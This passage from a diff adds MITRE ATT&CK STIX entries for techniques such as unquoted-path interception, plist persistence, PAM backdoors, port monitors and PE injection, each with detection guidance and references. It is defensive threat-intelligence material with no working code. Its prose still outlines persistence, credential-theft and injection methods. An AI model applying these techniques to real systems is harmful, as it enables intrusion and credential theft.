function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120", + "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.", + "source_name": "Windows NT Command Shell" + }, + { + "source_name": "Microsoft WinExec", + "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms687393" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN", + "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.", + "source_name": "Microsoft Environment Property" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Path Interception by Unquoted Path", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_version": "1.1", + "modified": "2020-09-17T19:05:23.755Z", + "created": "2020-03-13T13:51:58.519Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", + "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.", + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574/009", + "external_id": "T1574.009", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/38.html", + "external_id": "CAPEC-38", + "source_name": "capec" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree", + "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.", + "source_name": "Microsoft CurrentControlSet Services" + }, + { + "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", + "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.", + "source_name": "Help eliminate unquoted path" + }, + { + "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/", + "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.", + "source_name": "Windows Unquoted Services" + }, + { + "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.", + "source_name": "Windows Privilege Escalation Guide" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-26T17:42:03.337Z", + "name": "Peripheral Device Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.2", + "created": "2017-05-31T21:31:28.471Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1120", + "external_id": "T1120", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/646.html", + "external_id": "CAPEC-646", + "source_name": "capec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Permission Groups Discovery", + "x_mitre_data_sources": [ + "Pod: Pod Metadata", + "Process: Process Creation", + "Command: Command Execution", + "Group: Group Enumeration", + "Group: Group Metadata", + "Application Log: Application Log Content" + ], + "x_mitre_version": "2.4", + "modified": "2021-10-15T18:10:53.423Z", + "created": "2017-05-31T21:30:55.471Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.", + "x_mitre_contributors": [ + "Daniel Prizmant, Palo Alto Networks", + "Yuval Avrahami, Palo Alto Networks", + "Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1069", + "external_id": "T1069", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/576.html", + "external_id": "CAPEC-576", + "source_name": "capec" + }, + { + "url": "https://kubernetes.io/docs/reference/access-authn-authz/authorization/", + "description": "Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.", + "source_name": "K8s Authorization Overview" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Phishing", + "x_mitre_data_sources": [ + "File: File Creation", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "2.2", + "modified": "2021-10-18T17:39:13.604Z", + "created": "2020-03-02T18:45:07.892Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "Office 365", + "Google Workspace" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.", + "x_mitre_contributors": [ + "Philip Winther" + ], + "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1566", + "external_id": "T1566", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/98.html", + "external_id": "CAPEC-98", + "source_name": "capec" + }, + { + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "source_name": "Microsoft Anti Spoofing" + }, + { + "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "source_name": "ACSC Email Spoofing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Phishing for Information", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-15T03:43:13.134Z", + "created": "2020-10-02T17:07:01.502Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a", + "description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", + "x_mitre_contributors": [ + "Philip Winther", + "Sebastian Salla, McAfee", + "Robert Simmons, @MalwareUtkonos" + ], + "x_mitre_detection": "Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\n\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1598", + "external_id": "T1598", + "source_name": "mitre-attack" + }, + { + "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/", + "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.", + "source_name": "ThreatPost Social Media Phishing" + }, + { + "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html", + "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.", + "source_name": "TrendMictro Phishing" + }, + { + "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages", + "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.", + "source_name": "PCMag FakeLogin" + }, + { + "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/", + "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.", + "source_name": "Sophos Attachment" + }, + { + "url": "https://github.com/ryhanson/phishery", + "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.", + "source_name": "GitHub Phishery" + }, + { + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "source_name": "Microsoft Anti Spoofing" + }, + { + "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "source_name": "ACSC Email Spoofing" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-17T13:03:25.670Z", + "name": "Plist Modification", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1150", + "external_id": "T1150", + "source_name": "mitre-attack" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Plist Modification", + "x_mitre_data_sources": [ + "Service: Service Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T14:46:47.383Z", + "created": "2020-01-24T20:02:59.149Z", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a", + "description": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \n\nMonitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/011", + "external_id": "T1547.011", + "source_name": "mitre-attack" + }, + { + "url": "https://fileinfo.com/extension/plist", + "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021.", + "source_name": "fileinfo plist file description" + }, + { + "url": "https://taomm.org/vol1/pdfs.html", + "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.", + "source_name": "wardle artofmalware volume1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Pluggable Authentication Modules", + "x_mitre_data_sources": [ + "File: File Modification", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "2.0", + "modified": "2021-10-17T14:48:33.580Z", + "created": "2020-06-26T04:01:09.648Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "root" + ], + "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)", + "x_mitre_contributors": [ + "Scott Knight, @sdotknight, VMware Carbon Black", + "George Allen, VMware Carbon Black" + ], + "x_mitre_detection": "Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1556/003", + "external_id": "T1556.003", + "source_name": "mitre-attack" + }, + { + "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt", + "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.", + "source_name": "Apple PAM" + }, + { + "url": "https://linux.die.net/man/8/pam_unix", + "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.", + "source_name": "Man Pam_Unix" + }, + { + "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules", + "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.", + "source_name": "Red Hat PAM" + }, + { + "url": "https://github.com/zephrax/linux-pam-backdoor", + "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.", + "source_name": "PAM Backdoor" + }, + { + "url": "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/", + "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020.", + "source_name": "PAM Creds" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Port Knocking", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.1", + "modified": "2020-10-21T01:26:31.804Z", + "created": "2020-07-01T18:23:25.002Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd", + "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1205/001", + "external_id": "T1205.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Hartrell cd00r 2002", + "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.", + "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T19:47:55.183Z", + "name": "Port Monitors", + "created": "2017-05-31T21:30:26.057Z", + "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1013", + "external_id": "T1013", + "source_name": "mitre-attack" + }, + { + "source_name": "AddMonitor", + "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/dd183341" + }, + { + "source_name": "Bloxham", + "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.", + "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Port Monitors", + "x_mitre_data_sources": [ + "File: File Creation", + "Process: OS API Execution", + "Module: Module Load", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-01-24T19:46:27.750Z", + "created": "2020-01-24T19:46:27.750Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "SYSTEM", + "Administrator" + ], + "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "x_mitre_contributors": [ + "Stefan Kanthak", + "Travis Smith, Tripwire" + ], + "x_mitre_detection": "Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/010", + "external_id": "T1547.010", + "source_name": "mitre-attack" + }, + { + "source_name": "AddMonitor", + "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/dd183341" + }, + { + "source_name": "Bloxham", + "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.", + "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Portable Executable Injection", + "x_mitre_data_sources": [ + "Process: Process Modification", + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-18T12:21:11.178Z", + "created": "2020-01-14T01:27:31.344Z", + "id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": 